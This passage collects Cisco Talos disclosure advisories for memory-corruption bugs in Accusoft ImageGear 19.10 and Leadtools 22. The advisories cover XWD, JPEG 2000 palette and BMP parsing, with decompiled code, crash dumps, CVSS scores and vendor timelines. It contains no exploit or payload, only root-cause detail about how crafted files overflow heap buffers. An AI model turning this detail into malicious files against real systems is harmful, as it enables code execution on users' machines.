    0019fe88 6eed5757     00000000 007177a0 00000001 igCore19d!IG_mpi_page_set+0x14209
    0019fea8 00402219     007177a0 0019febc 00000001 igCore19d!IG_load_file+0x47
    0019fec0 00402524     007177a0 007177e8 00717ad0 Fuzzme!fuzzme+0x19
    0019ff28 0040668d     00000005 00716200 00717ad0 Fuzzme!fuzzme+0x324
    0019ff70 75b90419     002fd000 75b90400 0019ffdc Fuzzme!fuzzme+0x448d
    0019ff80 77a072ed     002fd000 fead64a1 00000000 KERNEL32!BaseThreadInitThunk+0x19
    0019ffdc 77a072bd     ffffffff 77a265b0 00000000 ntdll!__RtlUserThreadStart+0x2f
    0019ffec 00000000     00406715 002fd000 00000000 ntdll!_RtlUserThreadStart+0x1b
    
    
    STACK_COMMAND:  ~0s ; .cxr ; kb
    
    SYMBOL_NAME:  igJPEG2K19d!CPb_JPEG2K_init+2e2c3
    
    MODULE_NAME: igJPEG2K19d
    
    IMAGE_NAME:  igJPEG2K19d.dll
    
    FAILURE_BUCKET_ID:  INVALID_POINTER_READ_FILL_PATTERN_41414141_c0000005_igJPEG2K19d.dll!CPb_JPEG2K_init
    
    OS_VERSION:  10.0.17763.1
    
    BUILDLAB_STR:  rs5_release
    
    OSPLATFORM_TYPE:  x86
    
    OSNAME:  Windows 10
    
    IMAGE_VERSION:  25.1.0.0
    
    FAILURE_ID_HASH:  {79891e7d-f1f3-59e0-064a-4dbbd8234ed4}
    
    Followup:     MachineOwner
    ---------
    

**Timeline**

2021-08-23 - Initial contact  
2021-08-24 - Vendor acknowledged and created support ticket  
2021-10-29 - 60 day follow up  
2021-11-30 - Vendor investigating status  
2021-12-02 - Vendor advised release planned for Q1 2022  
2021-12-07 - 30 day disclosure extension granted (2022-01-24)  
2022-01-06 - Final disclosure notification  
2022-02-23 - Public disclosure

Discovered by Francesco Benvenuto of Cisco Talos.

CVE-2021-21914: TALOS-2021-1362 || Cisco Talos Intelligence Group

**Summary**

A heap-based buffer overflow vulnerability exists in the XWD parser functionality of Accusoft ImageGear 19.10. A specially-crafted file can lead to code execution. An attacker can provide a malicious file to trigger this vulnerability.

**Tested Versions**

Accusoft ImageGear 19.10

**Product URLs**

ImageGear - https://www.accusoft.com/products/imagegear-collection/

**CVSSv3 Score**

9.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

**CWE**

CWE-122 - Heap-based Buffer Overflow

**Details**

The ImageGear library is a document-imaging developer toolkit that offers image conversion, creation, editing, annotation and more. It supports more than 100 formats such as DICOM, PDF, Microsoft Office and others.

A specially-crafted XWD file can lead to a heap-based buffer overflow in the XWD parser, due to a missing size check.

Trying to load a malformed XWD file, we end up in the following situation:

    (1b14.213c): Access violation - code c0000005 (first chance)
    First chance exceptions are reported before any exception handling.
    This exception may be expected and handled.
    eax=016304c8 ebx=000000f5 ecx=0000003b edx=00000001 esi=0aa34b38 edi=0bc05000
    eip=6e9fe13d esp=0019f45c ebp=0019f474 iopl=0         nv up ei pl nz na pe nc
    cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
    MSVCR110!memcpy+0x21e:
    6e9fe13d f3a5            rep movs dword ptr es:[edi],dword ptr [esi]
    

The access violation is originated at [3] in the xwdread_pixmapformat_0_or_1 function:

    void xwdread_pixmapformat_0_or_1
                (mys_table_function *param_1,uint param_2,XWD_read *xwd,undefined4 param_4,
                HIGDIBINFO param_5)
    
    {
    [...]
    
    local_8 = DAT_102bcea8 ^ (uint)&stack0xfffffffc;
    local_1d4 = param_2;
    bytePerLine = (xwd->header_data).BytesPerLine;
    error_code = 0;
    local_1dc = xwd;
    local_1e0 = param_5;
    local_1ac = 0;
    bytePerLine_ = bytePerLine;
    dVar2 = IGDIBStd::DIB_bit_depth_get(param_5);
    if (dVar2 == 1) {
        dst_buff_size = IO_raster_size_get(param_5);                                                        [1]
    }
    else {
        dst_buff_size = DIBStd_raster_size_get(param_5);
    }
    [...]
    
    dst_buff = (byte *)AF_memm_alloc(local_1d4,dst_buff_size);                                              [2]
    
    [...]
    if ((error_code == 0) && (local_1d0 = error_code, height = DIB_height_get(local_1e0), 0 < height)) {
        do {
        depth_done = 0;
        if (pixmapDepth_ != 0) {
            io_buffer = local_1a8;
            do {
            src_buff = (byte *)get_data_from_file(io_buffer,bytePerLine_);
            array_of_source_buff[depth_done] = src_buff;
            if (src_buff == (byte *)0x0) {
                local_1ac = AF_err_record_set("..\\..\\..\\..\\Common\\Formats\\xwdread.c",0x2fc,-0x803,
                                            0,bytePerLine_,local_1d4,(LPCHAR)0x0);
                uVar11 = local_1d4;
                if (local_1ac != 0) goto LAB_101a44d0;
            }
            depth_done = depth_done + 1;
            piVar8 = (io_buffer *)&piVar8->size_buffer;
            } while (depth_done < pixmapDepth_);
            uVar11 = local_1d4;
            if (local_1ac != 0) break;
        }
        bytePerLine__ = bytePerLine_;
        [...]
        bit_depth = IGDIBStd::DIB_bit_depth_get(local_1e0);
        if (bit_depth == 1) {
            OS_memcpy(dst_buff,array_of_source_buff[0],bytePerLine__);                                      [3]
        }
    

The OS_memcpy function at [3] is a memcpy wrapper, so BytesPerLine bytes from array_of_source_buff[0] are copied to dst_buff. The BytesPerLine value and array_of_source_buff[0]’s content are taken directly from the XWD file. The destination buffer dst_buff is allocated at [2] using dst_buff_size as size.

The return value of the function IO_raster_size_get, that computes the dst_buff_size value at [1], in this specific case, is essentially: (PixmapWidth + 0x1f) >> 3) & 0xfffffffc.

It is evident that the size of dst_buff_size is only dependent on the PixmapWidth. The returned value of IO_raster_size_get is then used at [2] to allocate the dst_buff that is used as a temporary buffer to store, one at the time, the content of the bitmap’s “rows”. The problem is that neither PixmapWidth nor the calculated size are ever compared with the BytesPerLine variable. This allows the allocation of less space than required, leading to a heap-based buffer overflow.

**Crash Information**

    0:000> !analyze -v
    *******************************************************************************
    *                                                                             *
    *                        Exception Analysis                                   *
    *                                                                             *
    *******************************************************************************
    
    
    KEY_VALUES_STRING: 1
    
        Key  : AV.Fault
        Value: Write
    
        Key  : Analysis.CPU.mSec
        Value: 3046
    
        Key  : Analysis.DebugAnalysisManager
        Value: Create
    
        Key  : Analysis.Elapsed.mSec
        Value: 9918
    
        Key  : Analysis.Init.CPU.mSec
        Value: 499
    
        Key  : Analysis.Init.Elapsed.mSec
        Value: 59454
    
        Key  : Analysis.Memory.CommitPeak.Mb
        Value: 141
    
        Key  : Timeline.OS.Boot.DeltaSec
        Value: 38712
    
        Key  : Timeline.Process.Start.DeltaSec
        Value: 59
    
        Key  : WER.OS.Branch
        Value: rs5_release
    
        Key  : WER.OS.Timestamp
        Value: 2018-09-14T14:34:00Z
    
        Key  : WER.OS.Version
        Value: 10.0.17763.1
    
        Key  : WER.Process.Version
        Value: 1.0.1.1
    
    
    NTGLOBALFLAG:  2000000
    
    APPLICATION_VERIFIER_FLAGS:  0
    
    APPLICATION_VERIFIER_LOADED: 1
    
    EXCEPTION_RECORD:  (.exr -1)
    ExceptionAddress: 6e9fe13d (MSVCR110!memcpy+0x0000021e)
    ExceptionCode: c0000005 (Access violation)
    ExceptionFlags: 00000000
    NumberParameters: 2
    Parameter[0]: 00000001
    Parameter[1]: 0bc05000
    Attempt to write to address 0bc05000
    
    FAULTING_THREAD:  0000213c
    
    PROCESS_NAME:  Fuzzme.exe
    
    WRITE_ADDRESS:  0bc05000 
    
    ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.
    
    EXCEPTION_CODE_STR:  c0000005
    
    EXCEPTION_PARAMETER1:  00000001
    
    EXCEPTION_PARAMETER2:  0bc05000
    
    STACK_TEXT:  
    0019f460 6ebff9a6     0bc04ff8 0aa34b30 000000f5 MSVCR110!memcpy+0x21e
    WARNING: Stack unwind information not available. Following frames may be wrong.
    0019f474 6ed94489     0bc04ff8 0aa34b30 000000f5 igCore19d+0xf9a6
    0019f6bc 6ed9517f     0019fc3c 1000001e 0019f718 igCore19d!IG_mpi_page_set+0x138459
    0019f6e4 6ed93dfb     0019fc3c 1000001e 0ad9cff8 igCore19d!IG_mpi_page_set+0x13914f
    0019fbb4 6ec313d9     0019fc3c 0ad9cff8 00000001 igCore19d!IG_mpi_page_set+0x137dcb
    0019fbec 6ec708d7     00000000 0ad9cff8 0019fc3c igCore19d!IG_image_savelist_get+0xb29
    0019fe68 6ec70239     00000000 05287fd0 00000001 igCore19d!IG_mpi_page_set+0x148a7
    0019fe88 6ec05757     00000000 05287fd0 00000001 igCore19d!IG_mpi_page_set+0x14209
    0019fea8 00402219     05287fd0 0019febc 00000001 igCore19d!IG_load_file+0x47
    0019fec0 00402524     05287fd0 05289fe0 051edf50 Fuzzme!fuzzme+0x19
    0019ff28 0040668d     00000005 051e6f50 051edf50 Fuzzme!fuzzme+0x324
    0019ff70 765f0419     0030c000 765f0400 0019ffdc Fuzzme!fuzzme+0x448d
    0019ff80 777a72ed     0030c000 ccadecfe 00000000 KERNEL32!BaseThreadInitThunk+0x19
    0019ffdc 777a72bd     ffffffff 777c65e6 00000000 ntdll!__RtlUserThreadStart+0x2f
    0019ffec 00000000     00406715 0030c000 00000000 ntdll!_RtlUserThreadStart+0x1b
    
    
    STACK_COMMAND:  ~0s ; .cxr ; kb
    
    SYMBOL_NAME:  MSVCR110!memcpy+21e
    
    MODULE_NAME: MSVCR110
    
    IMAGE_NAME:  MSVCR110.dll
    
    FAILURE_BUCKET_ID:  INVALID_POINTER_WRITE_STRING_DEREFERENCE_NXCODE_FILL_PATTERN_AVRF_c0000005_MSVCR110.dll!memcpy
    
    OS_VERSION:  10.0.17763.1
    
    BUILDLAB_STR:  rs5_release
    
    OSPLATFORM_TYPE:  x86
    
    OSNAME:  Windows 10
    
    IMAGE_VERSION:  11.0.50727.1
    
    FAILURE_ID_HASH:  {4dd4b8b0-04bb-4a7d-d82a-fdf37d88888e}
    
    Followup:     MachineOwner
    

**Timeline**

2021-09-10 - Initial contact  
2021-09-14 - Vendor acknowledged and created support ticket  
2021-09-21 - Vendor closed support ticket and confirmed under review with engineering team  
2021-11-30 - 60 day follow up  
2021-12-02 - Vendor advised release planned for Q1 2022  
2021-12-07 - 30 day disclosure extension granted  
2022-01-06 - Final disclosure notification  
2022-02-23 - Public disclosure

Discovered by Francesco Benvenuto of Cisco Talos.

CVE-2021-21943: TALOS-2021-1373 || Cisco Talos Intelligence Group

A heap-based buffer overflow vulnerability exists in the Palette box parser functionality of Accusoft ImageGear 19.10. A specially-crafted file can lead to code execution. An attacker can provide a malicious file to trigger this vulnerability.

**Summary**

A heap-based buffer overflow vulnerability exists in the Palette box parser functionality of Accusoft ImageGear 19.10. A specially-crafted file can lead to code execution. An attacker can provide a malicious file to trigger this vulnerability.

**Tested Versions**

Accusoft ImageGear 19.10

**Product URLs**

ImageGear - https://www.accusoft.com/products/imagegear-collection/

**CVSSv3 Score**

9.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

**CWE**

CWE-193 - Off-by-one Error

**Details**

The ImageGear library is a document-imaging developer toolkit that offers image conversion, creation, editing, annotation and more. It supports more than 100 formats such as DICOM, PDF, Microsoft Office and others.

A specially-crafted JPEG 2000 file can lead to a heap-based buffer overflow in the Palette box parser, due to a wrongly-sized heap buffer caused by an off-by-one error.

Trying to load a malformed JPEG 2000 file, we end up in the following situation:

    First chance exceptions are reported before any exception handling.
    This exception may be expected and handled.
    eax=0adacffc ebx=00000003 ecx=0000000f edx=00000000 esi=0adacfc0 edi=0ace9000
    eip=6ebce13d esp=0019fac0 ebp=0019fae0 iopl=0         nv up ei pl nz na pe nc
    cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
    MSVCR110!memcpy+0x21e:
    6ebce13d f3a5            rep movs dword ptr es:[edi],dword ptr [esi]
    

Where the destination buffer has the following information:

    0:000> !ext.heap -p -a edi
            address 0af11000 found in
            _DPH_HEAP_ROOT @ 2cb1000
            in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                        d6b0d34:          af10fc0               40 -          af10000             2000
                ? Fuzzme!fuzzme+11f00
            6f08ab40 verifier!AVrfDebugPageHeapAllocate+0x00000240
            7793a65b ntdll!RtlDebugAllocateHeap+0x00000039
            778dff98 ntdll!RtlpAllocateHeap+0x00051808
            7788e5e0 ntdll!RtlpAllocateHeapInternal+0x00001280
            7788d34e ntdll!RtlAllocateHeap+0x0000003e
            6ebcdaff MSVCR110!malloc+0x00000049
            6ebcdba7 MSVCR110!operator new+0x0000001d
            6eda130b igCore19d!IG_mpi_page_set+0x000052db
            6ed656f1 igCore19d!IG_comm_is_comp_exist+0x000036a1
            6ed48aca igCore19d!IG_warning_set+0x000018da
            6e30e16e igJPEG2K19d!CPb_JPEG2K_init+0x000094ae
            6e30fe07 igJPEG2K19d!CPb_JPEG2K_init+0x0000b147
            6e31106c igJPEG2K19d!CPb_JPEG2K_init+0x0000c3ac
            6e3070a6 igJPEG2K19d!CPb_JPEG2K_init+0x000023e6
            6e30711e igJPEG2K19d!CPb_JPEG2K_init+0x0000245e
            6ed713d9 igCore19d!IG_image_savelist_get+0x00000b29
            6edb08d7 igCore19d!IG_mpi_page_set+0x000148a7
            6edb0239 igCore19d!IG_mpi_page_set+0x00014209
            6ed45757 igCore19d!IG_load_file+0x00000047
            00402219 Fuzzme!fuzzme+0x00000019
            00402524 Fuzzme!fuzzme+0x00000324
            0040668d Fuzzme!fuzzme+0x0000448d
            75330419 KERNEL32!BaseThreadInitThunk+0x00000019
            778b72ed ntdll!__RtlUserThreadStart+0x0000002f
            778b72bd ntdll!_RtlUserThreadStart+0x0000001b Instead, the source buffer:
    
    0:000> !ext.heap -p -a esi
            address 0ae4efc0 found in
            _DPH_HEAP_ROOT @ 2cb1000
            in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                        adb1e6c:          ae4ef80               7c -          ae4e000             2000
                ? Fuzzme!fuzzme+11f00
            6f08ab40 verifier!AVrfDebugPageHeapAllocate+0x00000240
            7793a65b ntdll!RtlDebugAllocateHeap+0x00000039
            778dff98 ntdll!RtlpAllocateHeap+0x00051808
            7788e5e0 ntdll!RtlpAllocateHeapInternal+0x00001280
            7788d34e ntdll!RtlAllocateHeap+0x0000003e
            6ebcdaff MSVCR110!malloc+0x00000049
            6ed964de igCore19d!AF_memm_alloc+0x0000001e
            6e30e7ed igJPEG2K19d!CPb_JPEG2K_init+0x00009b2d
            6e30e5eb igJPEG2K19d!CPb_JPEG2K_init+0x0000992b
            6e310e34 igJPEG2K19d!CPb_JPEG2K_init+0x0000c174
            6e3047be igJPEG2K19d+0x000747be
            6e37e2ad igJPEG2K19d!CPb_JPEG2K_init+0x000795ed
    

The information above clearly shows that the destination buffer is smaller than the source one. The access violation takes place during the parsing of the Palette box, in the following function:

    int FUN_73ebe120(HIGDIBINFO *LPHIGDIBINFO,int enumIGColorSpaceIDs,int width,int heigth,
                    int channelCount,AT_INT *channelDepths,IGDIBStd *IGDIBStd,int sizePalette,
                    AT_RESOLUTION *lpResolution,undefined4 lphdib)
    
    {
    int iVar1;
    size_t _Size;
    void *_Dst;
    
    if ((((enumIGColorSpaceIDs != 0) && (0 < width)) && (0 < heigth)) && (0 < channelCount)) {
        iVar1 = DIB_info_create(LPHIGDIBINFO,width,heigth,enumIGColorSpaceIDs,channelCount,channelDepths
                            );
        if (iVar1 == 0) {
        DIB_resolution_set(*LPHIGDIBINFO,lpResolution);
        if ((char)enumIGColorSpaceIDs == '\x03') {
            iVar1 = DIB_palette_alloc(*LPHIGDIBINFO);                                                       [1]
            if (iVar1 != 0) {
            return iVar1;
            }
            _Size = sizePalette << 2;
            _Dst = (void *)DIB_palette_pointer_get(*LPHIGDIBINFO);
            memcpy(_Dst,IGDIBStd,_Size);                                                                    [3]
        }
        iVar1 = (*(code *)PTR_73f8874c)(*LPHIGDIBINFO,lphdib);
        }
        return iVar1;
    }
    return 0;
    }
    

The memory violation takes place in [3], and the allocation of the wrongly-sized buffer takes place in [1] in the function DIB_palette_alloc:

    undefined4 call_IGDIB::DIB_palette_alloc(HIGDIBINFO hDIB)
    
    {
    [...]
    size_buffer_palette = compute_size_palette(*hDIB->bits_depth_table_by_channel);                         [4]
    (*hDIB->igdibstd_vftable->IGDIB::createIGPalette)((IGDIB *)hDIB,size_buffer_palette);
    *in_FS_OFFSET = local_10;
    return 0;
    }
    

The size for the buffer is size_buffer_palette, which is calculated in [4]. The argument of the function called in [4] corresponds to the number of bits required for representing the Palette box’s NE field. The compute_size_palette function is simply:

    int __cdecl compute_size_palette(int bit_required)
    
    {
    if (bit_required < 9) {
        return 1 << ((byte)bit_required & 0x1f);
    }
    return 0;
    }
    

The compute_size_palette function returns, if the argument does not exceed the value 8, the biggest representable value, using bit_required bits, plus one (e.g., for bit_required = 1 the result would be 2; for bit_required = 7 the result would be 128).

This number is later used in [5] to allocate the required space to parse the Palette box:

    undefined ** __thiscall IGPalette::IGPalette(undefined **param_1_00,undefined *size_palette)
    
    {
    undefined *_Dst;
    
    param_1_00[1] = (undefined *)0x0;
    param_1_00[2] = size_palette;
    if ((int)size_palette < 1) {
        param_1_00[1] = (undefined *)0x0;
    }
    else {
        _Dst = (undefined *)operator_new((int)size_palette << 2);                                           [5]
        param_1_00[1] = _Dst;
        if (_Dst != (undefined *)0x0) {
        memset(_Dst,0,(int)param_1_00[2] << 2);
        *param_1_00 = (undefined *)vftable;
        return param_1_00;
        }
    }
    param_1_00[2] = (undefined *)0x0;
    *param_1_00 = (undefined *)vftable;
    return param_1_00;
    }
    

So, the Palette box parser uses the buffer allocated in [5] in the memcpy at [3]. The size of the allocated buffer can be simplified as (1 << bit_required) << 2. The problem resides in the calculation of the bit_required value. An off-by-one calculation exists during the computation of that value. The function that calculates the bit_required value is show here:

    void __cdecl FUN_73ebfbc0(undefined4 *param_1,size_t *LPHIGDIBINFO)
    
    {
    [...]
        iVar3 = 0
        if (0 < iVar2) {
            do {
            if (*(int *)(param_1[0x18] + 4) == 0) {
                NE_field = param_1[0x13];
                bit_required = 0;
                while (NE_field = NE_field >> 1, NE_field != 0) {                                           [6]
                bit_required = bit_required + 1;
                }
                if ((*(char *)(param_1 + 0x16) != '\x03') || (iVar3 != 0)) {
                bit_required = *(int *)(param_1[5] + 4 + iVar3 * 0x20);
                }
            }
            else {
                bit_required = 8;
            }
            channelDepths[iVar3] = bit_required;
            iVar3 = iVar3 + 1;
            } while (iVar3 < iVar2);
        }
    [...]
    }
    

This is the while loop in assembly:

         MOV        ECX,dword ptr [EBX + NE_field]
         XOR        bit_required,bit_required
         SAR        ECX,1                                                                                   [7]
         JZ         LAB_B
    LAB_A
         INC        bit_required
         SAR        ECX,1
         JNZ        LAB_A
    LAB_B
    

In [6]/[7] there is the actual calculation for computing the bits required for representing a value. The problem is that the computation starts with the right shift of one rather than the comparison with zero. This would count one bit less than the required one (e.g., with NE_field = 1(0b...001) the bit_required value would be 0, with NE_field = 0x1f(0b...00011111) the bit_required value would be 4). This leads to an off-by-one that can result in a heap-based buffer overflow in [3] because the calculated size, using the wrongly-calculated bits required, could be smaller than the real required size.

**Crash Information**

    0:000> !analyze -v
    *******************************************************************************
    *                                                                             *
    *                        Exception Analysis                                   *
    *                                                                             *
    *******************************************************************************
    
    
    KEY_VALUES_STRING: 1
    
        Key  : AV.Fault
        Value: Write
    
        Key  : Analysis.CPU.mSec
        Value: 3218
    
        Key  : Analysis.DebugAnalysisManager
        Value: Create
    
        Key  : Analysis.Elapsed.mSec
        Value: 10243
    
        Key  : Analysis.Init.CPU.mSec
        Value: 468
    
        Key  : Analysis.Init.Elapsed.mSec
        Value: 11601
    
        Key  : Analysis.Memory.CommitPeak.Mb
        Value: 143
    
        Key  : Timeline.OS.Boot.DeltaSec
        Value: 166871
    
        Key  : Timeline.Process.Start.DeltaSec
        Value: 11
    
        Key  : WER.OS.Branch
        Value: rs5_release
    
        Key  : WER.OS.Timestamp
        Value: 2018-09-14T14:34:00Z
    
        Key  : WER.OS.Version
        Value: 10.0.17763.1
    
        Key  : WER.Process.Version
        Value: 1.0.1.1
    
    
    NTGLOBALFLAG:  2000000
    
    APPLICATION_VERIFIER_FLAGS:  0
    
    APPLICATION_VERIFIER_LOADED: 1
    
    EXCEPTION_RECORD:  (.exr -1)
    ExceptionAddress: 6ebce13d (MSVCR110!memcpy+0x0000021e)
    ExceptionCode: c0000005 (Access violation)
    ExceptionFlags: 00000000
    NumberParameters: 2
    Parameter[0]: 00000001
    Parameter[1]: 0af11000
    Attempt to write to address 0af11000
    
    FAULTING_THREAD:  00002848
    
    PROCESS_NAME:  Fuzzme.exe
    
    WRITE_ADDRESS:  0af11000 
    
    ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.
    
    EXCEPTION_CODE_STR:  c0000005
    
    EXCEPTION_PARAMETER1:  00000001
    
    EXCEPTION_PARAMETER2:  0af11000
    
    STACK_TEXT:  
    0019fac4 6e30e18a     0af10fc0 0ae4ef80 0000007c MSVCR110!memcpy+0x21e
    WARNING: Stack unwind information not available. Following frames may be wrong.
    0019fae0 6e30fe07     0019fb6c 00000003 00000001 igJPEG2K19d!CPb_JPEG2K_init+0x94ca
    0019fb54 6e31106c     0a996f50 0019fb6c 00000000 igJPEG2K19d!CPb_JPEG2K_init+0xb147
    0019fb70 6e3070a6     0a996f50 0ac5ff50 a5d44a84 igJPEG2K19d!CPb_JPEG2K_init+0xc3ac
    0019fb9c 6e30711e     0019fc3c 0ae2afa0 00000000 igJPEG2K19d!CPb_JPEG2K_init+0x23e6
    0019fbb4 6ed713d9     0019fc3c 0ae2afa0 00000001 igJPEG2K19d!CPb_JPEG2K_init+0x245e
    0019fbec 6edb08d7     00000000 0ae2afa0 0019fc3c igCore19d!IG_image_savelist_get+0xb29
    0019fe68 6edb0239     00000000 0019ff10 00000001 igCore19d!IG_mpi_page_set+0x148a7
    0019fe88 6ed45757     00000000 0019ff10 00000001 igCore19d!IG_mpi_page_set+0x14209
    0019fea8 00402219     0019ff10 0019febc 00000001 igCore19d!IG_load_file+0x47
    0019fec0 00402524     0019ff10 052c7fe0 0522df50 Fuzzme!fuzzme+0x19
    0019ff28 0040668d     00000005 05226f68 0522df50 Fuzzme!fuzzme+0x324
    0019ff70 75330419     0027b000 75330400 0019ffdc Fuzzme!fuzzme+0x448d
    0019ff80 778b72ed     0027b000 7d8b826c 00000000 KERNEL32!BaseThreadInitThunk+0x19
    0019ffdc 778b72bd     ffffffff 778d65c2 00000000 ntdll!__RtlUserThreadStart+0x2f
    0019ffec 00000000     00406715 0027b000 00000000 ntdll!_RtlUserThreadStart+0x1b
    
    
    STACK_COMMAND:  ~0s ; .cxr ; kb
    
    SYMBOL_NAME:  MSVCR110!memcpy+21e
    
    MODULE_NAME: MSVCR110
    
    IMAGE_NAME:  MSVCR110.dll
    
    FAILURE_BUCKET_ID:  INVALID_POINTER_WRITE_STRING_DEREFERENCE_AVRF_c0000005_MSVCR110.dll!memcpy
    
    OS_VERSION:  10.0.17763.1
    
    BUILDLAB_STR:  rs5_release
    
    OSPLATFORM_TYPE:  x86
    
    OSNAME:  Windows 10
    
    IMAGE_VERSION:  11.0.50727.1
    
    FAILURE_ID_HASH:  {77975e19-9d4d-daf1-6c0e-6a3a4c334a80}
    
    Followup:     MachineOwner
    ---------
    

**Timeline**

2021-08-30 - Initial contact  
2021-08-31 - Vendor acknowledged and created support ticket  
2021-09-10 - Vendor closed support ticket and confirmed under review with engineering team  
2021-11-30 - 60 day follow up  
2021-12-01 - Vendor advised release planned for Q1 2022  
2021-12-07 - 30 day disclosure extension granted  
2022-01-06 - Final disclosure notification  
2022-02-23 - Public disclosure

Discovered by Emmanuel Tacheau and Francesco Benvenuto of Cisco Talos.

CVE-2021-21938: TALOS-2021-1367 || Cisco Talos Intelligence Group

An improper array index validation vulnerability exists in the JPEG-JFIF Scan header parser functionality of Accusoft ImageGear 19.10. A specially-crafted file can lead to an out-of-bounds write and potential code exectuion. An attacker can provide a malicious file to trigger this vulnerability.

CVE-2021-21949: TALOS-2021-1377 || Cisco Talos Intelligence Group

An integer overflow vulnerability exists in the fltSaveCMP functionality of Leadtools 22. A specially-crafted BMP file can lead to an integer overflow, that in turn causes a buffer overflow. An attacker can provide a malicious BMP file to trigger this vulnerability.

**Summary**

An integer overflow vulnerability exists in the fltSaveCMP functionality of Leadtools 22. A specially-crafted BMP file can lead to an integer overflow, that in turn causes a buffer overflow. An attacker can provide a malicious BMP file to trigger this vulnerability.

**Tested Versions**

Leadtools Leadtools 22

**Product URLs**

Leadtools - https://www.leadtools.com/

**CVSSv3 Score**

8.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

**CWE**

CWE-190 - Integer Overflow or Wraparound

**Details**

LEADTOOLS is a collection of comprehensive toolkits to integrate and document medical, multimedia, and imaging technologies into desktop, server, tablet, and mobile applications.

Trying to load a malformed BMP file, we end up with the following situation:

    (14a0.1e64): Access violation - code c0000005 (!!! second chance !!!)
    Ltkrnx!L_LicLibGetMachineInfo+0x1bb1e:
    00007ffd`9a869a7e f3a4            rep movs byte ptr [rdi],byte ptr [rsi]
    0:000> r
    rax=0000023de16c9600 rbx=000000000f32fd00 rcx=000000000a6d6300
    rdx=0000000060435800 rsi=0000023e46758800 rdi=0000023de6323000
    rip=00007ffd9a869a7e rsp=000000517bf5d938 rbp=000000005b31ee00
     r8=000000000f32fd00  r9=000000000f32fd00 r10=0000023e41afee00
    r11=0000023de16c9600 r12=0000000000000000 r13=0000000000000000
    r14=0000000000000006 r15=0000000000001002
    iopl=0         nv up ei pl nz na pe cy
    cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010201
    Ltkrnx!L_LicLibGetMachineInfo+0x1bb1e:
    00007ffd`9a869a7e f3a4            rep movs byte ptr [rdi],byte ptr [rsi]
    

The access violation is happening into a function named `copy_bytes_into_buffer` described below.  
The exception is happening while writing to `_dest_buffer` at LINE495.

    LINE1   undefined8 *
    LINE2   copy_bytes_into_buffer(undefined8 *dest_buffer,undefined8 *source_buffer,ulonglong size)
    LINE3   {
    LINE4     
            [...]
    LINE492                     /* copy_bytes when size is large */
    LINE493   _dest_buffer = dest_buffer;
    LINE494   for (; size != 0; size = size - 1) {
    LINE495     *(undefined *)_dest_buffer = *(undefined *)source_buffer;
    LINE496     source_buffer = (undefined8 *)((longlong)source_buffer + 1);
    LINE497     _dest_buffer = (undefined8 *)((longlong)_dest_buffer + 1);
    LINE498   }
    LINE499   return dest_buffer;
    LINE500 }
    

This is corresponding to the following disassembly code:

    LINE501 copy_bytes            
    LINE502  
    LINE503 xt:7ff85a749a70 57            PUSH      RDI
    LINE504 xt:7ff85a749a71 56            PUSH      RSI
    LINE505 xt:7ff85a749a72 49 8b c3      MOV       RAX,R11
    LINE506 xt:7ff85a749a75 48 8b f9      MOV       RDI,RCX                                     dest_buffer
    LINE507 xt:7ff85a749a78 49 8b c8      MOV       RCX,R8                                      r8: size
    LINE508 xt:7ff85a749a7b 49 8b f2      MOV       RSI,R10                                     source_buffer
    LINE509 xt:7ff85a749a7e f3 a4         MOVSB.REP RDI,RSI
    LINE510 xt:7ff85a749a80 5e            POP       RSI
    LINE511 xt:7ff85a749a81 5f            POP       RDI
    LINE512 xt:7ff85a749a82 c3            RET
    

Looking at the callstack of the memory allocation for the destination buffer `_dest_buffer` pointed by `rdi`:

    0:000> !ext.heap -p -a rdi
        address 0000023fdd8f3000 found in
        _DPH_HEAP_ROOT @ 23fbf5a1000
        in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                 2404b590ea0:      23fd8c99600          4c59a00 -      23fd8c99000          4c5b000
        00007ffdcb10867b ntdll!RtlDebugAllocateHeap+0x000000000000003b
        00007ffdcb03d255 ntdll!RtlpAllocateHeap+0x00000000000000f5
        00007ffdcb03b44d ntdll!RtlpAllocateHeapInternal+0x0000000000000a2d
        00007ffda207bcc8 Ltkrnx!L_LicLibGetMachineInfo+0x000000000002dd68
        00007ffda2038e45 Ltkrnx!L_LocalAlloc+0x00000000000000a5
        00007ffda32eea37 lfCmpX!fltSaveCMP+0x0000000000000897
        00007ffdb353056a Ltfilx!L_GetRasterPdfInfo+0x000000000000132a
        00007ffdb3530ad7 Ltfilx!L_GetRasterPdfInfo+0x0000000000001897
        00007ffdb3531a79 Ltfilx!L_SaveCustomFile+0x0000000000000e69
        00007ffdb3531ad0 Ltfilx!L_SaveBitmap+0x0000000000000040
        00007ff745301341 Fuzzme!fuzzme+0x00000000000000b1 [C:\Users\User\source\repos\Project1\LoadBitmap\LoadBitmap.cpp @ 50]
        00007ff745301c98 Fuzzme!main+0x0000000000000588 [C:\Users\User\source\repos\Project1\LoadBitmap\LoadBitmap.cpp @ 198]
        00007ff7453035d8 Fuzzme!__scrt_common_main_seh+0x000000000000010c [d:\a01\_work\6\s\src\vctools\crt\vcstartup\src\startup\exe_common.inl @ 288]
        00007ffdc9f57034 KERNEL32!BaseThreadInitThunk+0x0000000000000014
        00007ffdcb062651 ntdll!RtlUserThreadStart+0x0000000000000021
    

The allocation `lfCmpX!fltSaveCMP+0x0000000000000897` where the size of the destination is computed is made inside the function named `lfCmpX!fltSaveCMP`:

    LINE513   ulonglong lfCmpX!fltSaveCMP(longlong *param_1)
    LINE514   {
        ...
    LINE515   puVar9 = (uint *)L_LocalAlloc((uVar2 + 1) * BytesPerLine,2,0x210,
    LINE516                                 L"c:\\a2\\_w\\19eb7f22c663b560\\src\\fileformats\\c\\cmp\\common\\cm p.cpp"
